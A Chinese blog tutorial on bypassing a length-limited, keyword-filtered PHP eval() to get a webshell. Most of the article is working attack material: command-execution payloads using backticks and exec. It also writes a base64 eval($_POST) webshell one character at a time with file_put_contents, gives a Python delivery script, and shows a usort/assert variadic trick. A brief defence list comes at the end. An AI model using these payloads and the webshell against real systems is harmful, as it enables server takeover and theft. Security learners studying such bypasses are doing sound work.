当前位置: 首页 > news >正文

PHP eval 长度限制绕过与 Webshell 获取

在 PHP 代码中,如果 eval($param); 存在且长度受限,并且过滤了 evalassert,仍然可以通过多种方法绕过限制,获取 Webshell。

源码

<?php
$param = $_REQUEST['param'];
if(strlen($param)<17 && stripos($param,'eval') === false && stripos($param,'assert') === false) {eval($param);
}
?>

1. 命令执行的利用

由于 eval 仍然允许代码执行,因此可以通过反引号(``)或 exec() 来执行系统命令。

最短的绕过方式

param=`$_GET[1]`;&1=whoami
  • 反引号 `` 在 PHP 中等价于 shell_exec(),执行 $_GET[1] 传入的命令。

  • &1=bash 使 eval 执行 bash 命令,成功执行系统命令。

使用 exec() 进行命令执行

param=exec($_GET[1]);
  • 直接使用 exec() 执行命令,无需反引号。

  • 适用于某些服务器禁用了反引号但允许 exec() 的情况。

2. 本地文件包含(LFI)利用

利用 file_put_contents() 写入 Webshell

file_put_contents需要三个参数:

filename:要被写入数据的文件名。

data:要写入的数据。类型可以是 string,array 或者是 stream 资源。

        如果 data 指定为 stream 资源,这里 stream 中所保存的缓存数据将被写入到指定文件中,这种用法就相似于使用 stream_copy_to_stream() 函数。

        参数 data 可以是数组(但不能为多维数组),相当于 file_put_contents($filename, join('', $array))。

flags:flags 的值可以是 以下 flag 使用 OR (|) 运算符进行的组合。

PHP 提供 file_put_contents() 函数,可用于将数据写入文件,我们可以利用它写入恶意 PHP 代码。

param=$_GET[a](N,a,8);&a=file_put_contents
  • file_put_contents(N, 'a', 8);

    • N 是未定义的常量,会被转换为字符串 'N',即写入 N 文件。

    • a 被解析为 'a',写入 N 文件。

    • 8FILE_APPEND)表示追加写入,而不是覆盖。

但该方法有一个问题:

  • file_put_contents() 无法写入 < 等特殊字符,导致无法直接写入 Webshell。

  • 解决方案:逐字符写入 Base64 编码的 Webshell,再通过 include 解码执行。

最终利用代码:

# 逐字符写入 Base64 编码后的 Webshell
param=$_GET[a](N,a,8);&a=file_put_contents# 解码并包含 Webshell
param=include$_GET[0];&0=php://filter/read=convert.base64-decode/resource=N

传入脚本:

import requestsstring = "PD9waHAgZXZhbCgkX1BPU1RbOV0pOw"for i in string:payload = "http://192.168.44.136/web.php?param=$_GET[1](N,{},8);&1=file_put_contents".format(i)response = requests.get(payload)if response.status_code == 200:print(i)else:print(response.status_code)

3. 变长参数(Variadic Parameters)+ 回调漏洞

PHP 5.6 引入了变长参数特性(...),允许将数组展开为函数参数。结合 usort() 的回调特性,可以利用 assert() 远程执行代码。

利用 usort(...$_GET); 进行代码执行

构造 HTTP 请求:

POST /test.php?1[]=test&1[]=var_dump($_SERVER);&2=assert HTTP/1.1
Host: localhost:8081
Accept: */*
Content-Type: application/x-www-form-urlencoded
Content-Length: 22param=usort(...$_GET);

原理解析:

  • $_GET[1] = ['test', 'var_dump($_SERVER);'],数组展开后传入 usort()

  • $_GET[2] = 'assert',作为 usort() 的回调函数。

  • usort($array, 'assert') 执行 assert('var_dump($_SERVER);'),成功执行 PHP 代码。

  • 直接替换 var_dump($_SERVER); 为 Webshell 代码,即可实现远程控制。

总结

方法关键技术绕过原理适用情况
反引号命令执行\command``执行系统命令PHP 允许 shell_exec()
exec()exec($_GET[1]);执行 GET 传入命令exec() 未被禁用
file_put_contents()写入 Base64 Webshell逐字符写入 & 解码包含LFI 可用
usort(...$_GET);变长参数展开usort() 回调漏洞PHP >= 5.6

其中,usort(...$_GET); 的方法几乎可以绕过所有 WAF 规则,因此特别危险。

防御措施

  1. 移除 eval(),使用 switchwhitelist 限制可执行函数。

  2. 严格过滤输入,使用 preg_match() 限制传入内容,如 preg_match('/^[a-z0-9_]+$/i', $param);

  3. 禁用危险函数:在 php.ini 设置 disable_functions=eval,assert,exec,shell_exec,system,passthru

  4. 使用 Web 应用防火墙(WAF),防止变长参数展开、文件包含等攻击。

相关文章:

PHP eval 长度限制绕过与 Webshell 获取

在 PHP 代码中&#xff0c;如果 eval($param); 存在且长度受限&#xff0c;并且过滤了 eval 和 assert&#xff0c;仍然可以通过多种方法绕过限制&#xff0c;获取 Webshell。 源码 <?php $param $_REQUEST[param]; if(strlen($param)<17 && stripos($param,…...

自然语言处理(14:处理时序数据的层的实现)

系列文章目录 第一章 1:同义词词典和基于计数方法语料库预处理 第一章 2:基于计数方法的分布式表示和假设&#xff0c;共现矩阵&#xff0c;向量相似度 第一章 3:基于计数方法的改进以及总结 第二章 1:word2vec 第二章 2:word2vec和CBOW模型的初步实现 第二章 3:CBOW模型…...

Pytest的Fixture使用

概述 Pytest中的Fixture可以使得测试代码高度复用,同时对资源进行安全的管理,以及在复杂的测试场景用进行灵活的组合。 概念 Fixture:可重用的函数,用@pytest.fixture来进行装饰,用于为测试提供数据、环境或者服务作用域:控制Fixture的生命周期,默认是function,可设置…...

【蓝桥杯】每日练习 Day13

前言 今天做了不少题&#xff0c;但是感觉都太水了&#xff0c;深思熟虑之下主播决定拿出两道相对不那么水的题来说一下&#xff08;其实还是很水&#xff09;。 两道问题&#xff0c;一道是日期问题&#xff08;模拟&#xff09;&#xff0c;一道是区间合并问题。 日期差值 …...

Vue3 中使用 vuedraggable 实现拖拽排序功能,分组拖拽

Vue3 中使用 vuedraggable 实现拖拽排序功能&#xff0c;分组拖拽 安装draggable npm install vuedraggablenext --save基础用法示例 <template><div class"app-container"><draggable v-model"list" item-key"id":group"…...

husky的简介以及如果想要放飞自我的解决方案

husky 是一个 Git Hooks 管理工具&#xff0c;它的主要作用是 在 Git 提交&#xff08;commit&#xff09;、推送&#xff08;push&#xff09;等操作时执行自定义脚本&#xff0c;比如代码检查&#xff08;Lint&#xff09;、单元测试&#xff08;Test&#xff09;、格式化代码…...

Maven工具学习使用(四)——仓库

仓库分类 对于Mavne来说,仓库只分为两类:本地仓库和远程仓库。当Maven根据坐标查询寻找构件的时候,它首先会查看本地仓库,如果本地仓库存在此构件,则直接使用;如果本地仓库不存在此构件,或者需要查看是否有更新的构件版本,Maven就会去远程仓库查找,发现需要的构件之后…...

【BFS】《单源、多源 BFS:图搜索算法的双生力量》

文章目录 前言单源BFS例题一、迷宫中离入口最近的出口二、 最小基因变化三、单词接龙四、为高尔夫比赛砍树 多源BFS例题一、 01 矩阵二、飞地的数量三、地图中的最高点四、地图分析 结语 前言 什么是单源、多源BFS算法问题呢&#xff1f; BFS&#xff08;Breadth - First Sear…...

批量取消 PDF 文档中的所有超链接

在 PDF 文档中我们可以插入各种各样的文本也可以给文本设置字体&#xff0c;颜色等多种样式&#xff0c;同时还可以给文字或者图片添加上超链接&#xff0c;当我们点击超链接之后&#xff0c;就会跳转到对应的网页。有时候这会对我们的阅读或者使用形成一定的干扰&#xff0c;今…...

13.2 kubelet containerRuntime接口定义和初始化

本节重点总结 &#xff1a; containerRuntime 需要实现3类接口 管理容器的接口管理镜像的接口Streaming API 用于客户端与容器进行交互 type KubeGenericRuntime interface {kubecontainer.Runtimekubecontainer.StreamingRuntimekubecontainer.CommandRunner }containerRun…...

使用 gone.WrapFunctionProvider 快速接入第三方服务

项目地址&#xff1a;https://github.com/gone-io/gone 本文中源代码&#xff1a; esexamples/es 文章目录 1. gone.WrapFunctionProvider 简介2. 配置注入实现3. 实战示例&#xff1a;Elasticsearch 集成4. 使用方式5. 最佳实践6. 总结 在如何给Gone框架编写Goner组件&#xf…...

git 标签学习笔记

目录 轻量级标签 带注释的标签&#xff08;推荐&#xff09; 给指定 commit 打标签 推送单个标签&#xff0c;需要单独推送&#xff0c;代码推送不会推送标签 推送所有标签 删除标签 轻量级标签 git tag v1.0.0 只是简单地给当前 commit 打上 v1.0.0 标签。 带注释的标…...

【论文阅读】基于思维链提示的大语言模型软件漏洞发现与修复方法研究

这篇文章来自于 Chain-of-Thought Prompting of Large Language Models for Discovering and Fixing Software Vulnerabilities 摘要 软件安全漏洞在现代系统中呈现泛在化趋势&#xff0c;其引发的社会影响日益显著。尽管已有多种防御技术被提出&#xff0c;基于深度学习&…...

企业在人工智能创新与安全之间走钢丝

2025 年全球 AI/ML 工具使用量将激增&#xff0c;企业将 AI 融入运营之中&#xff0c;员工也将 AI 嵌入日常工作流程中。报告显示&#xff0c;企业对 AI/ML 工具的使用同比增长 3,000% 以上&#xff0c;凸显了各行各业迅速采用 AI 技术&#xff0c;以提升生产力、效率和创新水平…...

CSS动画

目录 一、核心概念与语法 1. keyframes 关键帧 2. animation 属性 二、动画调速函数&#xff08;animation-timing-function&#xff09; 1. 预设值 2. 贝塞尔曲线 3. 步进函数&#xff08;steps()&#xff09; 三、动画控制与交互 1. 暂停与恢复 2. JavaScript 控制…...

计算机视觉(CV)技术的优势和挑战

计算机视觉&#xff08;CV&#xff09;技术是人工智能领域中的一个重要分支&#xff0c;它主要通过让机器学会“看”和“理解”图像或视频来模拟人类视觉系统。以下是计算机视觉技术的一些优势和挑战&#xff1a; 优势&#xff1a; 自动化&#xff1a;计算机视觉技术可以实现…...

动态IP与静态IP该如何选?

一、当IP地址成为"网络身份" 2023年亚马逊封号潮中&#xff0c;某杭州卖家因登录IP频繁切换&#xff08;早8点在纽约&#xff0c;午间瞬移到东京&#xff09;&#xff0c;触发平台风控导致账号冻结。这类"时空错乱症"揭示了跨境电商的生存法则&#xff1a…...

Vue.js 完全指南:从入门到精通

1. Vue.js 简介 1.1 什么是 Vue.js? Vue.js(通常简称为 Vue)是一个用于构建用户界面的渐进式 JavaScript 框架。所谓"渐进式",意味着 Vue 的设计是由浅入深的,你可以根据自己的需求选择使用它的一部分或全部功能。 Vue 最初由尤雨溪(Evan You)在 2014 年创…...

《TypeScript 7天速成系列》第3天:TypeScript高级类型通关秘籍:泛型+联合+交叉类型实战

TypeScript 的类型系统是其最强大的特性之一&#xff0c;但也是许多开发者感到困惑的地方。今天我们就来破解 TypeScript 中最难的类型系统&#xff0c;掌握泛型、联合类型和交叉类型的使用技巧。 一、泛型函数与泛型接口 泛型是 TypeScript 中创建可重用组件的重要工具&…...

Python----数据分析(足球运动员数据分析)

一、数据展示 1.1、数据 1.2、列名 字段名备注Name姓名Nationality国籍National_Position国家队位置National_Kit国家队号码Club所在俱乐部Club_Position所在俱乐部位置Club_Kit俱乐部号码Club_Joining加入俱乐部时间Contract_Expiry合同到期时间Rating评分Height身高Weight体…...

音视频 三 看书的笔记 MediaPlayer的C/S架构

MediaPlayer在运行时分为Client和Server两部分 Client层‌&#xff1a;位于Java层&#xff0c;用户通过调用Java层的API&#xff08;如setDataSource&#xff09;来操作MediaPlayer。 Server层‌&#xff1a;位于C层&#xff0c;负责实际的媒体处理工作。Server层通过Binder机…...

Elasticsearch:使用 AI SDK 和 Elastic 构建 AI 代理

作者&#xff1a;来自 Elastic Carly Richmond 你是否经常听到 AI 代理&#xff08;AI agents&#xff09;这个词&#xff0c;但不太确定它们是什么&#xff0c;或者如何在 TypeScript&#xff08;或 JavaScript&#xff09;中构建一个&#xff1f;跟我一起深入了解 AI 代理的概…...

echarts添加坐标轴点击事件

echarts添加坐标轴点击事件 chart.on(click, (params) > {if(params.componentType yAxis && this.type ! 1){console.log(params);// 检查是否点击了系列数据console.log(你点击了 ${params.name} 的数据点&#xff0c;值为 ${params.value}); this.$bus.$emi…...

如何在linux中部署dns服务 主备dns (详细全过程)

环境centos 7.9 主DNS&#xff1a;192.168.60.131 备DNS&#xff1a;192.168.60.134 我以 chenxingyu0.com 指向 192.168.60.200为例 首先是主dns #!/bin/bash# 检查是否为 root 用户 if [ "$(id -u)" ! "0" ]; thenecho "请使用…...

GitLab 中文版17.10正式发布,27项重点功能解读【二】

GitLab 是一个全球知名的一体化 DevOps 平台&#xff0c;很多人都通过私有化部署 GitLab 来进行源代码托管。极狐GitLab 是 GitLab 在中国的发行版&#xff0c;专门为中国程序员服务。可以一键式部署极狐GitLab。 学习极狐GitLab 的相关资料&#xff1a; 极狐GitLab 官网极狐…...

matplotlib——南丁格尔玫瑰

南丁格尔玫瑰图&#xff08;Nightingale Rose Chart&#xff09;&#xff0c;是一种特殊形式的柱状图&#xff0c;它以南丁格尔&#xff08;Florence Nightingale&#xff09;命名&#xff0c;她在1858年首次使用这种图表来展示战争期间士兵死亡原因的数据。 它将数据绘制在极坐…...

WPF 与 C# 融合开发:从基础到高级应用(一)

WPF 与 C# 融合开发&#xff1a;从基础到高级应用 一、C# 语言基础回顾 1.1 C# 语言概述 C# 是微软开发的一种现代、面向对象的编程语言&#xff0c;它融合了 C、C 和 Java 等语言的优点&#xff0c;具有简洁、安全、高效等特点。C# 广泛应用于 Windows 平台的应用开发&…...

ref和reactive区别

在 Vue 3 中&#xff0c;ref 和 reactive 是两种创建响应式数据的主要 API&#xff0c;但它们的适用场景和使用方式有所不同。以下是它们的核心区别和示例&#xff1a; 一、核心区别 特性refreactive适用数据类型所有类型&#xff08;基本类型、对象、数组&#xff09;仅对象或…...

精选10个好用的WordPress免费主题

10个好用的WordPress免费主题 1. Astra Astra 是全球最受欢迎的 WordPress 主题。它功能丰富&#xff0c;易于使用&#xff0c;SEO友好&#xff0c;是第一个安装量突破100万的非默认主题&#xff0c;并获得了5000多个五星好评。 它完美集成了Elementor、Beaver&#xff0c;古…...

DerpNStink: 1靶场渗透

DerpNStink: 1 来自 <DerpNStink: 1 ~ VulnHub> 1&#xff0c;将两台虚拟机网络连接都改为NAT模式 2&#xff0c;攻击机上做namp局域网扫描发现靶机 nmap -sn 192.168.23.0/24 那么攻击机IP为192.168.23.182&#xff0c;靶场IP192.168.23.213 3&#xff0c;对靶机进行端…...

apache安装脚本使用shell建立

注意防火墙&#xff0c;yum&#xff0c;网络连接等 以下是具体的apache安装脚本 #!/bin/bash # Set Apache version to install ## author: yuan # 检查外网连接 echo "检查外网连接..." ping www.baidu.com -c 3 > /dev/null 2>&1 if [ $? -eq 0 ]; …...

Azure SDK 使用指南

​Azure SDK&#xff08;软件开发工具包&#xff09;是一组由微软提供的工具和库&#xff0c;旨在帮助开发者以多种编程语言&#xff08;如 .NET、Java、Python、JavaScript 等&#xff09;与 Azure 服务进行交互。 ​通过使用 Azure SDK&#xff0c;开发者可以更高效地构建、部…...

DeepSeek-V3-0324 版本升级概要

DeepSeek-V3-0324 魔搭社区汇聚各领域最先进的机器学习模型&#xff0c;提供模型探索体验、推理、训练、部署和应用的一站式服务。https://modelscope.cn/models/deepseek-ai/DeepSeek-V3-0324 发布背景与改进 根DeepSeek-V3-0324 展示了以下关键改进&#xff1a; 推理性能提…...

leetcode 150. 逆波兰表达式求值

150. 逆波兰表达式求值 - 力扣&#xff08;LeetCode&#xff09; class Solution:def evalRPN(self, tokens: List[str]) -> int:stack[]for item in tokens:if item not in ( ,-,* , / ):stack.append(item)else:preint(stack.pop())pre_beforeint(stack.pop())sign itemi…...

LangChain4j与DashScope深度集成实战:一站式开发指南

本篇文章会通篇详细的讲清楚LangChain4j与DashScope集成的各个方面&#xff0c;从Springboot的集成到Ai对话、会话记忆、RAG、FunctionCalling、互联网搜索、结构化的输出、多模态等都给出相应的说明&#xff0c;希望通过这篇文章对于LLM不了解的同仁一样可以扩展出自己的AI应用…...

逼用户升级Win11,微软开始给Win10限速

随着Windows10的支持时间越来越短&#xff0c;微软也加大了对Win10用户的驱赶力度。 最近&#xff0c;微软官宣了将要在今年6月份降低OneNote for Windows 10的同步速度。软件也将和Windows10在今年的10月14日一同停止支持和维护。 这将影响实时协作和多设备访问。 对OneNote…...

工作流引擎Flowable介绍及SpringBoot整合使用实例

Flowable简介 Flowable 是一个轻量级的业务流程管理&#xff08;BPM&#xff09;和工作流引擎&#xff0c;基于 Activiti 项目发展而来&#xff0c;专注于提供高性能、可扩展的工作流解决方案。它主要用于企业级应用中的流程自动化、任务管理和审批流等场景。 Flowable 的核心…...

推荐一个可以自定义github主页的网站

一、简介 Profile Readme Generator 是一个开源工具&#xff0c;可以帮助你快速创建个性化的 GitHub 个人简介&#xff08;README&#xff09;。它支持自定义内容和样式&#xff0c;让你的 GitHub 个人主页更加美观和专业。 二、使用步骤 &#xff08;一&#xff09;访问网站…...

【R语言可视化】相关系数热图

目录 热图无显著性 结果展示01&#xff1a; 热图显著性 结果展示02&#xff1a; ggplot2绘制三角热图 结果展示03&#xff1a; corrplot绘制三角热图 结果展示04: 热图无显著性 # 示例数据 data(mtcars) df <- mtcars# 计算相关矩阵 cor_matrix <- round(cor(df…...

【区块链 + 文化版权】文创链 | FISCO BCOS 应用案例

“文创链”是由四川省区块链行业协会、成都音像出版社有限公司共同发起&#xff0c; 由成都九天星空科技有限公司等联合打造的数字文创领域联盟链。平台采用FISCO BCOS 开源底层框架&#xff0c; 为数字文创产业构建一个高效、透明、可信的版权管理与交易平台。 平台专注于数字…...

# 使用自定义Shell脚本hello快速配置Linux用户账户

使用自定义Shell脚本快速配置Linux用户账户 在学校实验室管理Linux服务器&#xff0c;或者公司小团队管理服务器时&#xff0c;大家需要一个能隔离自己服务&#xff0c;但是自己又需要对服务器的完整权限的情形。创建和配置用户账户是一项常见但繁琐的任务。特别是当你需要频繁…...

PyTorch中的Tensor

PyTorch中的Tensor‌ 是核心数据结构&#xff0c;类似于 NumPy 的多维数组&#xff0c;但具备 GPU 加速和自动求导等深度学习特性。 一、基本概念 ‌核心数据结构‌ Tensor 是存储和操作数据的基础单元&#xff0c;支持标量&#xff08;0D&#xff09;、向量&#xff08;1D&am…...

16-CSS3新增选择器

知识目标 掌握属性选择器的使用掌握关系选择器的使用掌握结构化伪类选择器的使用掌握伪元素选择器的使用 如何减少文档内class属性和id属性的定义&#xff0c;使文档变得更加简洁&#xff1f; 可以通过属性选择器、关系选择器、结构化伪类选择器、伪元素选择器。 1. 属性选择…...

关于笔记本电脑突然没有wifi图标解决方案

笔记本电脑突然没有wifi图标解决方案&#xff0c;设置里也看不见wifi&#xff0c;电脑突然就连不网络了 解决方案&#xff1a; 我的电脑——>管理——>服务和应用程序——>服务——>找到WLAN AutoConfig——>点击启动就好了...

Pytorch学习笔记(七)Learn the Basics - Optimizing Model Parameters

这篇博客瞄准的是 pytorch 官方教程中 Learn the Basics 章节的 Optimizing Model Parameters 部分。 官网链接&#xff1a;https://pytorch.org/tutorials/beginner/basics/optimization_tutorial.html 完整网盘链接: https://pan.baidu.com/s/1L9PVZ-KRDGVER-AJnXOvlQ?pwd…...

数据可视化TensorboardX和tensorBoard安装及使用

tensorBoard 和TensorboardX 安装及使用指南 tensorBoard 和 TensorBoardX 是用于可视化机器学习实验和模型训练过程的工具。TensorBoard 是 TensorFlow 官方提供的可视化工具&#xff0c;而 TensorBoardX 是其社区驱动的替代品&#xff0c;支持 PyTorch 等其他框架。以下是它…...

工业4G路由器赋能智慧停车场高效管理

工业4G路由器作为智慧停车场管理系统通信核心&#xff0c;将停车场内的各个子系统连接起来&#xff0c;包括车牌识别系统、道闸控制系统、车位检测系统、收费系统以及监控系统等。通过4G网络&#xff0c;将这些系统采集到的数据传输到云端服务器或管理中心&#xff0c;实现信息…...

深度学习1—Python基础

深度学习1—python基础 你的第一个程序 print(hello world and hello deep learning!)基本数据结构 空值 (None)&#xff1a;在 Python 中&#xff0c;None 是一个特殊的对象&#xff0c;用于表示空值或缺失的值。它不同于数字 0&#xff0c;因为 0 是一个有意义的数字&#…...

数据结构十三、set map

一、set 1、size / empty size&#xff1a;返回set中实际元素的个数 empty&#xff1a;判断set是否为空 2、begin / end 这是两个迭代器&#xff0c;因此可以使用范围for来遍历整个红黑树。其中&#xff0c;遍历是按照中序遍历的顺序&#xff0c;因此是一个有序序列。 3、in…...

【大模型基础_毛玉仁】3.5 Prompt相关应用

目录 3.5 相关应用3.5.1 基于大语言模型的Agent3.5.2 数据合成3.5.3 Text-to-SQL3.5.4 GPTs 3.5 相关应用 Prompt工程应用广泛&#xff0c;能提升大语言模型处理基础及复杂任务的能力&#xff0c;在构建Agent、数据合成、Text-to-SQL转换和设计个性化GPTs等方面不可或缺。 . …...